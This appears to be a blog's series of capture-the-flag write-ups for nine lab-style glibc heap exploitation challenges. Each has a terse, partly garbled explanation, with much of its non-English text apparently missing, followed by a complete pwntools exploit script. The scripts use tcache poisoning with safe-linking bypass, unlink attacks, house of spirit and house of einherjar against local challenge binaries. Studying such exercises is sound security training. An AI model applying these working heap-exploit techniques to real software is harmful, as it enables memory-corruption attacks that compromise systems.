┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Write-ups: Software Exploitation (Dynamic Allocator
Exploitation) series (Completed)
~ CuB3y0nd
# 

 FSOP IoT realworld 

# Level 1.0

## Information

- Category: Pwn

## Description

> Leverage consolidation to obtain the flag.

## Write-up

 tcache fastbin 
 malloc  smallbin  chunk  `malloc_consolidate`
 fastbin  top chunk `read_flag`  fastbin  free 
 free  puts UAF 


## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)

FILE = "/challenge/toddlerheap_level1.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = ELF("/challenge/lib/libc.so.6")


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx))


def read_flag():
    target.sendlineafter(b": ", b"read_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    for i in range(7):
        malloc(i, 0)

    malloc(7, 0)

    for i in range(7):
        free(i)

    raw_input("DEBUG")
    free(7)
    read_flag()
    puts(7)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 2.0

## Information

- Category: Pwn

## Description

> Leverage consolidation to obtain the flag.

## Write-up

```c
    if ( strcmp(s1, "read_flag") )
      break;
    for ( i = 0; i <= 1; ++i )
    {
      printf("[*] flag_buffer = malloc(%d)n", 1434);
      size_4 = malloc(0x59Au);
      printf("[*] flag_buffer = %pn", size_4);
    }
    fd = open("/flag", 0);
    read(fd, size_4, 0x80u);
    puts("[*] read the flag!");
  }
```

 `read_flag`  mallocflag  malloc 


 malloc  chunk  unsorted bin 
 flag  chunk 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/toddlerheap_level2.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def calloc(idx, size):
    target.sendlineafter(b": ", b"calloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx))


def read_flag():
    target.sendlineafter(b": ", b"read_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    for i in range(7):
        malloc(i, 0)

    for i in range(7):
        free(i)

    calloc(0, 0x59A)
    calloc(1, 0x59A)
    calloc(2, 0)
    free(1)
    free(0)
    raw_input("DEBUG")
    read_flag()
    puts(1)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 3.0

## Information

- Category: Pwn

## Description

> Leverage consolidation to obtain the flag.

## Write-up

 malloc  `> 0x41F` `read_f
lag` 使 malloc  `0x390` chunk


 malloc  chunk consolidation  malloc 
 `tcachebins -> fastbins -> smallbins -> unsorted bins -> ...` 
 `> 0x41F`  chunk `tcachebins``fastbins`  `sma
llbins`  malloc  `unsorted bins`
 bin ……

 `[free chunk with controled idx][guard][free chunk with contr
oled idx][guard]...`  11 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/toddlerheap_level3.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx))


def read_flag():
    target.sendlineafter(b": ", b"read_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    for i in range(12):
        # raw_input("DEBUG")
        malloc(i, 0x420)
        # raw_input("DEBUG")
        malloc(15, 0x420)

    for i in range(12):
        # raw_input("DEBUG")
        free(i)

    read_flag()
    puts(11)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 4.0

## Information

- Category: Pwn

## Description

> Perform an advanced heap exploit to obtain the flag.

## Write-up

 unlink 2.41  2.42 


 unlink  [Doubly Linked, Doubly Doomed](/posts/pwn-notes/pwn-t
rick-notes/#doubly-linked-doubly-doomed) 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "./toddlerheap_level4.0_patched"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def safe_read(idx, data):
    target.sendlineafter(b": ", b"safe_read")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def send_flag():
    target.sendlineafter(b": ", b"send_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0xBB8 * 3)
    free(0)
    malloc(15, 0xBB8)  # guard

    malloc(1, 0xBB8)
    malloc(2, 0xBB8)

    payload = flat(
        b"A" * 0xBB0,
        0,
        0xBC1,
        0,  # prev_size
        (0xBC0 - 0x10) | 0x1,  # chunk_size
        0x404130,  # fd
        0x404138,  # bk
        0,  # fd_nextsize
        0,  # bk_nextsize
        b"A" * 0xB80,
        0xBC0 - 0x10,  # prev_size
        0xBC1 & ~0x1,  # chunk_size
    )
    raw_input("DEBUG")
    safe_read(0, payload)
    free(2)

    payload = flat(
        b"A" * 0x98,
        0x1,
    )
    raw_input("DEBUG")
    safe_read(1, payload)
    send_flag()
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 5.0

## Information

- Category: Pwn

## Description

> Perform an advanced heap exploit to obtain the flag.

## Write-up

 unlinkunlink  `alloc_struct`  mal
loc  flag 
 malloc  flag  overlapping chunks 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/toddlerheap_level5.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def read(idx, size, data):
    target.sendlineafter(b": ", b"read")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())
    target.send(data)


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0x420)
    malloc(1, 0x420)
    malloc(2, 0x420)

    payload = flat(
        0,
        0x420,
        0x404148 - 0x18,
        0x404148 - 0x10,
        0,
        0,
        b"A" * 0x3F0,
        0x420,
        0x431 & ~0x1,
    )
    # raw_input("DEBUG")
    read(1, 0x430, payload)
    free(2)

    payload = flat(
        b"A" * 0x10,
    )
    # raw_input("DEBUG")
    read(1, 0x1337, payload)
    puts(1)

    target.recvuntil(b"Data: " + b"A" * 0x10)
    heap = int.from_bytes(target.recvline().strip(), "little")
    overlapping_chunksize = heap - 0x890
    overlapping_chunk = heap - 0x880
    target.success(f"heap: {hex(heap)}")

    payload = flat(
        0,
        0,
        overlapping_chunksize,
    )
    # raw_input("DEBUG")
    read(1, 0x1337, payload)

    payload = flat(
        0,
        0x881,
    )
    # raw_input("DEBUG")
    read(0, 0x1337, payload)

    payload = flat(
        0,
        0,
        overlapping_chunk,
    )
    # raw_input("DEBUG")
    read(1, 0x1337, payload)
    free(0)

    malloc(5, 0x870)
    # raw_input("DEBUG")
    read(5, 0x1337, flat(b"A" * 0x440))
    puts(5)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 6.0

## Information

- Category: Pwn

## Description

> Perform an advanced heap exploit to obtain the flag.

## Write-up

house of spirit  free chunk calloc  chunk 
 calloc  chunk 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/toddlerheap_level6.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def calloc(idx, size):
    target.sendlineafter(b": ", b"calloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def safer_read(idx, data):
    target.sendlineafter(b": ", b"safer_read")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.send(data)


def read_to_global(size, data):
    target.sendlineafter(b": ", b"read_to_global")
    target.sendlineafter(b"read_size: ", str(size).encode())
    target.send(data)


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    target.recvuntil(b"Reading the flag into ")
    flag = int(target.recvline().strip()[:-1], 16)

    for i in range(7):
        calloc(i, 0)
        free(i)

    calloc(0, 0x10)
    calloc(1, 0x10)
    free(1)
    free(0)

    puts(1)
    target.recvuntil(b"Data: ")
    pos = int.from_bytes(target.recvline().strip(), "little")

    puts(0)
    target.recvuntil(b"Data: ")
    heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little"))

    target.success(f"flag: {hex(flag)}")
    target.success(f"pos: {hex(pos)}")
    target.success(f"heap: {hex(heap)}")

    payload = flat(
        {
            0x2E0: 0,
            0x2E8: 0x21,
            0x2F0: b"A" * 0x8,
        }
    )
    # raw_input("DEBUG")
    read_to_global(0x1337, payload)
    # raw_input("DEBUG")
    safer_read(0, flat(mangle(pos, flag - 0x28)))

    calloc(0, 0x18)
    raw_input("DEBUG")
    calloc(1, 0x18)
    raw_input("DEBUG")
    safer_read(1, b"A" * 0x18)
    puts(1)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 7.0

## Information

- Category: Pwn

## Description

> Perform an advanced heap exploit to obtain the flag.

## Write-up

 calloc  flag  chunk
 bss bss  size  flag 
 flag chunk  chunk_size calloc 
 chunk 

 bss  size  flag  bss 
 heap 


```asm showLineNumbers=false {8-10}
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File (set vmmap-prefe
r-relpaths on)
    0x557a0689e000     0x557a0689f000 r--p     1000      0 toddlerheap_level7.0_
patched
    0x557a0689f000     0x557a068a0000 r-xp     1000   1000 toddlerheap_level7.0_
patched
    0x557a068a0000     0x557a068a1000 r--p     1000   2000 toddlerheap_level7.0_
patched
    0x557a068a1000     0x557a068a2000 r--p     1000   2000 toddlerheap_level7.0_
patched
    0x557a068a2000     0x557a068a3000 rw-p     1000   3000 toddlerheap_level7.0_
patched
    0x557a068a3000     0x557a068a7000 rw-p     4000   5000 toddlerheap_level7.0_
patched
    0x557a3c52b000     0x557a3c54c000 rw-p    21000      0 [heap]
```

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/toddlerheap_level7.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def calloc(idx, size):
    target.sendlineafter(b": ", b"calloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def safer_read(idx, data):
    target.sendlineafter(b": ", b"safer_read")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.send(data)


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    target.recvuntil(b"Reading the flag into ")
    flag = int(target.recvline().strip()[:-1], 16)

    for i in range(7):
        calloc(i, 0)
        free(i)

    calloc(0, 0)
    calloc(1, 0)
    free(1)
    free(0)

    puts(1)
    target.recvuntil(b"Data: ")
    pos = int.from_bytes(target.recvline().strip(), "little")

    puts(0)
    target.recvuntil(b"Data: ")
    heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little"))

    target.success(f"flag: {hex(flag)}")
    target.success(f"pos: {hex(pos)}")
    target.success(f"heap: {hex(heap)}")

    calloc(10, 0x20)
    calloc(0, 0x10)
    calloc(1, 0x10)
    free(1)
    free(0)

    payload = flat(
        mangle(pos, flag - 0x28),
    )
    raw_input("DEBUG")
    safer_read(0, payload)

    calloc(0, 0x10)
    # raw_input("DEBUG")
    calloc(0, 0x18)

    raw_input("DEBUG")
    safer_read(0, b"A" * 0x18)
    puts(0)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 8.0

## Information

- Category: Pwn

## Description

> Perform an advanced heap exploit to obtain the flag.

## Write-up

 largebin attack house of einherjar……~~einherj
arE (FLAGS) in her jar !~~

 largebin attack 
 house ……

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/toddlerheap_level8.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def read_copy(idx, data):
    target.sendlineafter(b": ", b"read_copy")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.send(data)


def read_flag():
    target.sendlineafter(b": ", b"read_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    malloc(0, 0)
    malloc(1, 0)

    puts(1)
    target.recvuntil(b"Data: ")
    pos = int.from_bytes(target.recvline().strip(), "little")

    puts(0)
    target.recvuntil(b"Data: ")
    heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little"))

    target.success(f"pos: {hex(pos)}")
    target.success(f"heap: {hex(heap)}")

    flag = heap + 0x8C0
    fake_chunk = heap + 0x20

    malloc(0, 0x38)
    malloc(1, 0x28)
    malloc(2, 0xF8)

    payload = flat(
        0,
        0x60,
        fake_chunk,
        fake_chunk,
    )
    # raw_input("DEBUG")
    read_copy(0, payload)

    payload = flat(
        b"A" * 0x20,
        0x60,
    )
    # raw_input("DEBUG")
    read_copy(1, payload)

    for i in range(7, 14):
        malloc(i, 0xF8)

    for i in range(7, 14):
        free(i)

    # raw_input("DEBUG")
    free(2)

    malloc(3, 0x158)
    malloc(4, 0x28)
    free(4)
    free(1)

    payload = flat(
        b"A" * 0x20,
        0,
        0x31,
        mangle(pos, flag),
    )
    # raw_input("DEBUG")
    read_copy(3, payload)

    # raw_input("DEBUG")
    malloc(0, 0x28)
    malloc(0, 0x28)
    # raw_input("DEBUG")
    read_flag()
    puts(0)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 9.0

## Information

- Category: Pwn

## Description

> Perform an advanced heap exploit to obtain the flag.

## Write-up

free  size  ptr unsorted bin  chunk  t
cache  unsorted bin  overlapping  tcache  fd 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/toddlerheap_level9"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def safer_read(idx, data):
    target.sendlineafter(b": ", b"safer_read")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.send(data)


def send_flag():
    target.sendlineafter(b": ", b"send_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    authenticated = 0x404260

    malloc(0, 0x10)
    malloc(1, 0x10)
    free(1)
    free(0)
    malloc(1, 0x10)
    malloc(0, 0x10)

    puts(0)
    target.recvuntil(b"Data: ")
    pos = int.from_bytes(target.recvline().strip(), "little")

    puts(1)
    target.recvuntil(b"Data: ")
    heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little"))

    target.success(f"pos: {hex(pos)}")
    target.success(f"heap: {hex(heap)}")

    for i in range(7, 14):
        malloc(i, 0x100)

    malloc(0, 0x100)
    malloc(1, 0x100)
    malloc(15, 0x10)  # guard

    for i in range(7, 14):
        free(i)

    free(1)
    free(0)

    malloc(0, 0x100)
    free(1)

    malloc(0, 0x210)
    payload = flat(
        {
            0x108: 0x111,
            0x110: mangle(pos, authenticated),
        }
    )
    # raw_input("DEBUG")
    safer_read(0, payload)

    malloc(0, 0x100)
    malloc(0, 0x100)
    safer_read(0, b"A")
    send_flag()
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```